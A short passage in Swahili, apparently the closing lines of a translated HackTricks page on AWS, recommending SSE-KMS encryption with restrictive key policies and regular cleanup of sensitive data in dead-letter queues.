Tumia SSE-KMS na sera za funguo zenye vikwazo -5. **Usafishaji wa kawaida**: Usiruhusu data nyeti ikusanyike katika DLQs bila kikomo - -{{#include ../../../banners/hacktricks-training.md}}